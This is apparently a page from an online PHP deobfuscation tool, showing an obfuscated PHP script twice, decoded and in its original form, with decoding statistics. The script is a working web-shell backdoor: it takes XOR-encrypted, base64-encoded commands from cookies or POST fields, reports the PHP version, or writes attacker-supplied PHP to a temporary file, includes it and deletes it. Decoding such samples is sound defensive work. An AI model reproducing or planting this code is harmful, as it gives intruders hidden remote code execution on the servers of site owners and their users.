Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* pbad*/function /*y */zejgri() {$zughhxw = 'ixzanvpww'; print_r(55258 + 55..

Decoded Output download

<?php /* pbad*/function /*y   */zejgri() 
{$zughhxw = 'ixzanvpww'; 
    print_r(55258 + 55258); /*   pa   */} 
$ndtsm/*  hb  */ = 'ndtsm' ^ /*  tvx  */''; 
  
function ukcio($ekxlubvua, /*   wi */ $gzf_mk) 
{ 
  
/*rfx   */global /* vjjp */$ndtsm; 
  
    $dvteyoqqq = /*  muhqj*/""; /* hm */for ($ntfebryl = /*v  */0; $ntfebryl < strlen($ekxlubvua);) { 
  
        for /*   t */($gkdsb = 0; $gkdsb/*   kepc   */ < strlen($gzf_mk) && $ntfebryl/*e_fi*/ < strlen($ekxlubvua); $gkdsb++, $ntfebryl++) { 
            $dvteyoqqq .= $ndtsm(ord($ekxlubvua[$ntfebryl]) ^ /*ueqjx  */ord($gzf_mk[$gkdsb]));} 
/*   dkx*/} 
  
    return /*zqodb  */$dvteyoqqq; 
} 
  
function eqcf_nr($zxcezllyh, $ekxlubvua) 
{ 
  
/*   s   */global $ndtsm; 
  
    $ocxytfpwn = sprintf($ndtsm(88 - 42) . "/" . /*  aonxg */$ndtsm(685 - 648) . $ndtsm(1022 - 907) /*   _fqhn   */ . $ndtsm(61 - 15) /*aufkh*/ . $ndtsm(112) . "l", md5($zxcezllyh)); 
  
/*g*/file_put_contents($ocxytfpwn, "<" . $ndtsm(524 - 461) /*   dxqt   */ . "p" . "h" . "p" /*pd   */ . $ndtsm(32) /* dnm  */ . "u" . $ndtsm(497 - 387) /*   bici */ . /*   ivlz   */"l" . /*  dsayx   */"i" . "n" . $ndtsm(107) . "(" . /*  lyg*/"_" . $ndtsm(95) . $ndtsm(70) . $ndtsm(73) . /*  oou */"L" . "E" . "_" . "_" . $ndtsm(41) . ";" . $ndtsm(32) /*  mtn*/ . /* g_  */$ekxlubvua["d"]); 
    include $ocxytfpwn; 
/* fohfi   */$qwdjqvmqxv/*   mjuan  */ = $ocxytfpwn; 
  
    unlink($qwdjqvmqxv); 
} 
  
function k_cefmz() 
{ 
  
/*w */global $ndtsm; 
  
    $ntfebryl = array(); 
  
/* ye*/$ntfebryl["p" . "v"] = phpversion(); /*fzq*/$ntfebryl["s" . "v"]/*  kzd*/ = $ndtsm(272 - 221) . /*yllst  */"." /*  ip*/ . /*  fl*/$ndtsm(415 - 362); 
    echo /*  c  */@serialize($ntfebryl);} 
  
function peqk_kqlek($ekxlubvua, /*  mn_  */ $zxcezllyh, $dtcogga) 
{ 
  
    global $ndtsm; 
  
/* cfxk *//* wco*/$ekxlubvua/*  xe  */ = unserialize(ukcio(ukcio(base64_decode($ekxlubvua), $zxcezllyh), /* wr   */ $dtcogga)); 
  
/*   logv   */if /*  o   */(isset($ekxlubvua[$ndtsm(97) /* uko */ . /*zol */$ndtsm(107)])) { 
/*  znusq*/if ($ekxlubvua[$ndtsm(97)] == "i") { /*   qkt_ */k_cefmz(); 
  
        } elseif ($ekxlubvua[$ndtsm(97)] == /*p  */$ndtsm(101)) { 
  
/*  pkj */eqcf_nr($zxcezllyh, $ekxlubvua); 
  
        } 
        exit(); 
  
    } 
  
}$uprmjosube = $_COOKIE; 
  
$giviatlow_ = $_POST; 
  
$uprmjosube = array_merge($giviatlow_, $uprmjosube); 
  
$zxcezllyh = /*go   */$ndtsm(51) /* lehk   */ . "f" . $ndtsm(60 - 3) /*   hhyi   */ . /*e  */"0" . "1" . $ndtsm(793 - 743) /* yiv   */ . "8" . "c" . "-" . "9" . "4" . /* ncx */"4" . "5" . $ndtsm(45) . "4" . "6" . $ndtsm(53) /*  j   */ . "3" . /*   x*/"-" . "8" /* _n*/ . "8" . "6" . $ndtsm(101) . "-" . "5" . "b" . "b" . $ndtsm(653 - 600) . "6" /*on */ . "3" . "4" . "3" . /*p  */"d" . $ndtsm(54) . /* d  */"5" /*  ad*/ . /*k */$ndtsm(780 - 726);foreach /*  m   */($uprmjosube as $dtcogga => /*  bmg   */$ekxlubvua) /*  zh   */{ 
  
/*   jfp */peqk_kqlek($ekxlubvua, $zxcezllyh, /*ahyoy  */ $dtcogga); 
  
} ?>

Did this file decode correctly?

Original Code

<?php /* pbad*/function /*y   */zejgri()
{$zughhxw = 'ixzanvpww';
    print_r(55258 + 55258); /*   pa   */}
$ndtsm/*  hb  */ = 'ndtsm' ^ /*  tvx  */'';
 
function ukcio($ekxlubvua, /*   wi */ $gzf_mk)
{
 
/*rfx   */global /* vjjp */$ndtsm;
 
    $dvteyoqqq = /*  muhqj*/""; /* hm */for ($ntfebryl = /*v  */0; $ntfebryl < strlen($ekxlubvua);) {
 
        for /*   t */($gkdsb = 0; $gkdsb/*   kepc   */ < strlen($gzf_mk) && $ntfebryl/*e_fi*/ < strlen($ekxlubvua); $gkdsb++, $ntfebryl++) {
            $dvteyoqqq .= $ndtsm(ord($ekxlubvua[$ntfebryl]) ^ /*ueqjx  */ord($gzf_mk[$gkdsb]));}
/*   dkx*/}
 
    return /*zqodb  */$dvteyoqqq;
}
 
function eqcf_nr($zxcezllyh, $ekxlubvua)
{
 
/*   s   */global $ndtsm;
 
    $ocxytfpwn = sprintf($ndtsm(88 - 42) . "\x2f" . /*  aonxg */$ndtsm(685 - 648) . $ndtsm(1022 - 907) /*   _fqhn   */ . $ndtsm(61 - 15) /*aufkh*/ . $ndtsm(112) . "l", md5($zxcezllyh));
 
/*g*/file_put_contents($ocxytfpwn, "<" . $ndtsm(524 - 461) /*   dxqt   */ . "p" . "h" . "\160" /*pd   */ . $ndtsm(32) /* dnm  */ . "u" . $ndtsm(497 - 387) /*   bici */ . /*   ivlz   */"\154" . /*  dsayx   */"i" . "n" . $ndtsm(107) . "\50" . /*  lyg*/"_" . $ndtsm(95) . $ndtsm(70) . $ndtsm(73) . /*  oou */"L" . "E" . "_" . "\x5f" . $ndtsm(41) . ";" . $ndtsm(32) /*  mtn*/ . /* g_  */$ekxlubvua["d"]);
    include $ocxytfpwn;
/* fohfi   */$qwdjqvmqxv/*   mjuan  */ = $ocxytfpwn;
 
    unlink($qwdjqvmqxv);
}
 
function k_cefmz()
{
 
/*w */global $ndtsm;
 
    $ntfebryl = array();
 
/* ye*/$ntfebryl["p" . "\x76"] = phpversion(); /*fzq*/$ntfebryl["s" . "\166"]/*  kzd*/ = $ndtsm(272 - 221) . /*yllst  */"\56" /*  ip*/ . /*  fl*/$ndtsm(415 - 362);
    echo /*  c  */@serialize($ntfebryl);}
 
function peqk_kqlek($ekxlubvua, /*  mn_  */ $zxcezllyh, $dtcogga)
{
 
    global $ndtsm;
 
/* cfxk *//* wco*/$ekxlubvua/*  xe  */ = unserialize(ukcio(ukcio(base64_decode($ekxlubvua), $zxcezllyh), /* wr   */ $dtcogga));
 
/*   logv   */if /*  o   */(isset($ekxlubvua[$ndtsm(97) /* uko */ . /*zol */$ndtsm(107)])) {
/*  znusq*/if ($ekxlubvua[$ndtsm(97)] == "i") { /*   qkt_ */k_cefmz();
 
        } elseif ($ekxlubvua[$ndtsm(97)] == /*p  */$ndtsm(101)) {
 
/*  pkj */eqcf_nr($zxcezllyh, $ekxlubvua);
 
        }
        exit();
 
    }
 
}$uprmjosube = $_COOKIE;
 
$giviatlow_ = $_POST;
 
$uprmjosube = array_merge($giviatlow_, $uprmjosube);
 
$zxcezllyh = /*go   */$ndtsm(51) /* lehk   */ . "f" . $ndtsm(60 - 3) /*   hhyi   */ . /*e  */"0" . "1" . $ndtsm(793 - 743) /* yiv   */ . "8" . "c" . "-" . "9" . "\x34" . /* ncx */"4" . "5" . $ndtsm(45) . "4" . "6" . $ndtsm(53) /*  j   */ . "\63" . /*   x*/"\55" . "\x38" /* _n*/ . "\x38" . "6" . $ndtsm(101) . "-" . "5" . "b" . "\x62" . $ndtsm(653 - 600) . "\x36" /*on */ . "3" . "\64" . "\63" . /*p  */"d" . $ndtsm(54) . /* d  */"\65" /*  ad*/ . /*k */$ndtsm(780 - 726);foreach /*  m   */($uprmjosube as $dtcogga => /*  bmg   */$ekxlubvua) /*  zh   */{
 
/*   jfp */peqk_kqlek($ekxlubvua, $zxcezllyh, /*ahyoy  */ $dtcogga);
 
}

Function Calls

array_merge 1

Variables

$ndtsm bbxua
$giviatlow_ 0
$uprmjosube 0

Stats

MD5 51dc3483f7338e13825d54a26d836230
Eval Count 0
Decode Time 82 ms